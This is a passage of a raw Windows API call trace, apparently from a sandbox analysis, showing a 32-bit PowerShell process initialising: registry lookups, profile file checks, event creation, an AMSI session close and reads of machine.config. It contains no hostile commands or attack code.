lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1", lpFilePart=0x0) returned 0x49 [0229.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e584) returned 1 [0229.846] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_kxix5moq.igb.psm1"), fInfoLevelId=0x0, lpFileInformation=0x103e600 | out: lpFileInformation=0x103e600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb30354da, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0xb30354da, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xb30354da, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0229.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e580) returned 1 [0229.846] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0229.846] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1", lpFilePart=0x0) returned 0x49 [0229.846] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_kxix5moq.igb.psm1")) returned 1 [0229.847] GetSystemInfo (in: lpSystemInfo=0x103e638 | out: lpSystemInfo=0x103e638*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0229.848] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e5c8 | out: phkResult=0x103e5c8*=0x6bc) returned 0x0 [0229.849] RegQueryValueExW (in: hKey=0x6bc, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x103e5e4, lpData=0x0, lpcbData=0x103e5e0*=0x0 | out: lpType=0x103e5e4*=0x0, lpData=0x0, lpcbData=0x103e5e0*=0x0) returned 0x2 [0229.849] RegCloseKey (hKey=0x6bc) returned 0x0 [0229.852] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e614 | out: phkResult=0x103e614*=0x6bc) returned 0x0 [0229.853] RegQueryValueExW (in: hKey=0x6bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e634, lpData=0x0, lpcbData=0x103e630*=0x0 | out: lpType=0x103e634*=0x1, lpData=0x0, lpcbData=0x103e630*=0x56) returned 0x0 [0229.853] RegQueryValueExW (in: hKey=0x6bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e634, lpData=0x533eaa8, lpcbData=0x103e630*=0x56 | out: lpType=0x103e634*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x103e630*=0x56) returned 0x0 [0229.853] RegCloseKey (hKey=0x6bc) returned 0x0 [0229.853] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e614 | out: phkResult=0x103e614*=0x6bc) returned 0x0 [0229.854] RegQueryValueExW (in: hKey=0x6bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e634, lpData=0x0, lpcbData=0x103e630*=0x0 | out: lpType=0x103e634*=0x1, lpData=0x0, lpcbData=0x103e630*=0x56) returned 0x0 [0229.854] RegQueryValueExW (in: hKey=0x6bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e634, lpData=0x533ee20, lpcbData=0x103e630*=0x56 | out: lpType=0x103e634*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x103e630*=0x56) returned 0x0 [0229.854] RegCloseKey (hKey=0x6bc) returned 0x0 [0229.866] CoTaskMemAlloc (cb=0x20c) returned 0x1195e78 [0229.866] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1195e78 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0229.866] CoTaskMemFree (pv=0x1195e78) [0229.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0229.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0229.867] CoTaskMemAlloc (cb=0x20c) returned 0x1195e78 [0229.867] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1195e78 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0229.867] CoTaskMemFree (pv=0x1195e78) [0229.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0229.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0229.868] QueryPerformanceFrequency (in: lpFrequency=0x1154da0 | out: lpFrequency=0x1154da0*=100000000) returned 1 [0229.869] QueryPerformanceCounter (in: lpPerformanceCount=0x103e6d4 | out: lpPerformanceCount=0x103e6d4*=32466106885) returned 1 [0229.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0229.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x37, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0229.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e5e4) returned 1 [0229.869] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x103e660 | out: lpFileInformation=0x103e660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0229.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e5e0) returned 1 [0229.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0229.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x4c, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0229.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e5e4) returned 1 [0229.870] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x103e660 | out: lpFileInformation=0x103e660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0229.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e5e0) returned 1 [0229.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0229.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x38, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x37 [0229.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e5e4) returned 1 [0229.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x103e660 | out: lpFileInformation=0x103e660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0229.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e5e0) returned 1 [0229.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0229.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x4d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4c [0229.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e5e4) returned 1 [0229.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x103e660 | out: lpFileInformation=0x103e660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0229.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e5e0) returned 1 [0229.871] QueryPerformanceCounter (in: lpPerformanceCount=0x103e6c4 | out: lpPerformanceCount=0x103e6c4*=32466292568) returned 1 [0229.871] GetCurrentProcessId () returned 0x9d0 [0229.871] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x60694e8, Length=0x27500, ResultLength=0x103e648 | out: SystemInformation=0x60694e8, ResultLength=0x103e648*=0x1aaf0) returned 0x0 [0233.920] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x414 [0233.920] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x418 [0233.920] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6bc [0233.920] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6b8 [0233.920] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6c0 [0233.920] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x6c4 [0233.921] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6c8 [0233.921] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6cc [0233.921] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6d0 [0233.921] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x6d4 [0233.921] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6d8 [0233.921] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6dc [0233.927] SetEvent (hEvent=0x6b8) returned 1 [0233.928] SetEvent (hEvent=0x414) returned 1 [0233.928] SetEvent (hEvent=0x418) returned 1 [0233.928] SetEvent (hEvent=0x6bc) returned 1 [0233.928] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6e0 [0233.930] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e54c | out: phkResult=0x103e54c*=0x6e4) returned 0x0 [0233.931] RegQueryValueExW (in: hKey=0x6e4, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x103e56c, lpData=0x0, lpcbData=0x103e568*=0x0 | out: lpType=0x103e56c*=0x0, lpData=0x0, lpcbData=0x103e568*=0x0) returned 0x2 [0233.932] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6e8 [0233.934] SetEvent (hEvent=0x6e8) returned 1 [0289.384] AmsiCloseSession () returned 0x35b78c0 [0289.384] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x270 [0289.384] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x600 [0289.384] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x48c [0289.385] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x488 [0289.385] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x884 [0289.385] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x878 [0289.385] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x874 [0289.385] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x870 [0289.385] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x86c [0289.385] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x868 [0289.385] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x864 [0289.385] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x860 [0289.385] SetEvent (hEvent=0x488) returned 1 [0289.386] SetEvent (hEvent=0x270) returned 1 [0289.386] SetEvent (hEvent=0x600) returned 1 [0289.386] SetEvent (hEvent=0x48c) returned 1 [0289.386] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x85c [0289.386] SetEvent (hEvent=0x6e8) returned 1 [0289.801] SetEvent (hEvent=0x884) returned 1 [0289.801] SetEvent (hEvent=0x878) returned 1 [0289.801] SetEvent (hEvent=0x874) returned 1 [0290.103] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x103d964, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0290.105] CoTaskMemAlloc (cb=0x20c) returned 0x768ca38 [0290.105] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x768ca38, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0290.106] CoTaskMemFree (pv=0x768ca38) [0290.106] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0290.106] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0290.136] GetCurrentProcess () returned 0xffffffff [0290.136] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x103dccc | out: TokenHandle=0x103dccc*=0x850) returned 1 [0290.142] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0290.142] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x2f, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0290.146] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x103dcc4 | out: lpFileInformation=0x103dcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0290.149] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0290.149] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0290.149] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x103dccc | out: lpFileInformation=0x103dccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0290.150] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0290.150] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0290.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103dc04) returned 1 [0290.150] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0290.150] GetFileType (hFile=0x84c) returned 0x1 [0290.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103dc00) returned 1 [0290.150] GetFileType (hFile=0x84c) returned 0x1 [0290.200] GetFileSize (in: hFile=0x84c, lpFileSizeHigh=0x103dcc0 | out: lpFileSizeHigh=0x103dcc0*=0x0) returned 0x8c8f [0290.200] ReadFile (in: hFile=0x84c, lpBuffer=0x53f14bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x103dc7c, lpOverlapped=0x0 | out: lpBuffer=0x53f14bc*, lpNumberOfBytesRead=0x103dc7c*=0x1000, lpOverlapped=0x0) returned 1 [0290.250] ReadFile (in: hFile=0x84c, lpBuffer=0x53f14bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x103db28, lpOverlapped=0x0 | out: lpBuffer=0x53f14bc*, lpNumberOfBytesRead=0x103db28*=0x1000, lpOverlapped=0x0) returned 1 [0290.253] ReadFile (in: hFile=0x84c, lpBuffer=0x53f14bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x103d9dc, lpOverlapped=0x0 | out: lpBuffer=0x53f14bc*, lpNumberOfBytesRead=0x103d9dc*=0x1000, lpOverlapped=0x0) returned 1 [0290.253] ReadFile (in: hFile=0x84c, lpBuffer=0x53f14bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x103d9dc, lpOverlapped=0x0 | out: lpBuffer=0x53f14bc*, lpNumberOfBytesRead=0x103d9dc*=0x1000, lpOverlapped=0x0) returned 1 [0290.254] ReadFile (in: hFile=0x84c, lpBuffer=0x53f14bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x103d9dc, lpOverlapped=0x0 | out: lpBuffer=0x53f14bc*, lpNumberOfBytesRead=0x103d9dc*=0x1000, lpOverlapped=0x0) returned 1 [0290.254] ReadFile (in: hFile=0x84c, lpBuffer=0x53f14bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x103d914, lpOverlapped=0x0 | out: lpBuffer=0x53f14bc*, lpNumberOfBytesRead=0x103d914*=0x1000, lpOverlapped=0x0) returned 1 [0290.258] ReadFile (in: hFile=0x84c, lpBuffer=0x53f14bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x103da98, lpOverlapped=0x0 | out: lpBuffer=0x53f14bc*, lpNumberOfBytesRead=0x103da98*=0x1000, lpOverlapped=0x0) returned 1 [0290.258] ReadFile (in: hFile=0x84c, lpBuffer=0x53f14bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x103d9a4, lpOverlapped=0x0 | out: lpBuffer=0x53f14bc*, lpNumberOfBytesRead=0x103d9a4*=0x1000, lpOverlapped=0x0) returned 1 [0290.259] ReadFile (in: hFile=0x84c, lpBuffer=0x53f14bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x103d9a4, lpOverlapped=0x0 | out: lpBuffer=0x53f14bc*, lpNumberOfBytesRead=0x103d9a4*=0xc8f, lpOverlapped=0x0) returned 1 [0290.259] ReadFile (in: hFile=0x84c, lpBuffer=0x53f14bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x103da68, lpOverlapped=0x0 | out: lpBuffer=0x53f14bc*, lpNumberOfBytesRead=0x103da68*=0x0, lpOverlapped=0x0) returned 1 [0290.259] CloseHandle (hObject=0x84c) returned 1 [0290.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x103d960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0290.260] CoTaskMemAlloc (cb=0x20c) returned 0x768ca38 [0290.260] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x768ca38, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0290.260] CoTaskMemFree (pv=0x768ca38) [0290.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0290.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0290.260] GetCurrentProcess () returned 0xffffffff [0290.261] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x103de14 | out: TokenHandle=0x103de14*=0x84c) returned 1 [0290.263] GetCurrentProcess () returned 0xffffffff [0290.263] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x103de14 | out: TokenHandle=0x103de14*=0x848) returned 1 [0290.267] GetCurrentProcess () returned 0xffffffff [0290.267] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x103dccc | out: TokenHandle=0x103dccc*=0x844) returned 1 [0290.268] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x103dcc4 | out: lpFileInformation=0x103dcc4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0290.268] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0290.268] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0290.270] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: 